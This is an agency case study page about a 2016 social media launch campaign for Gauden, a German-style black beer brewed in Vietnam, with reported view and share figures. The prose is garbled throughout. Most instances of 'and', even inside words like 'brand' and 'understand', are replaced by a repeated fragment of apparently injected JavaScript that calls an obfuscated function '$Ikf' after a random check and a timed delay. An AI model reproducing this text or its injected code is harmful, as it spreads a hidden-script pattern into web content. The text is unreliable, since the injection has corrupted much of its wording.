Gauden Beer 2016 – Launching Campaign

THE INTRODUCTION

Gauden Schwarzbier is a German black beer produced in Vietnam, serving in beer bars in urban areas (Central andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and South Vietnam) Since Vietnam’s beer market is competitive with many famous beer brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands, our client needed a smart brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and strategy that help make Gauden really standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and out from other competitors. By creating a consistent brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and theme andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and communication style combined with insightful usage of social media, we successfully built up a successful media buzz for the brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, making Gauden becomes a part of Saigonese andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and amplify the brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and’s bold “we culture”.

THE RESULT

Over 4M organic views andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and being shared 27K times. Mentioned by famous entertainment Facebook pages andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and major presses.

Assistant wanted – The best job in town

PR coverage, Vietnamwork link andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and official registration website

Users-generated content to prove how they understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the bear andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and spirit.

  • Client

    GAUDEN

  • Date

    2016

  • Kind

    Launching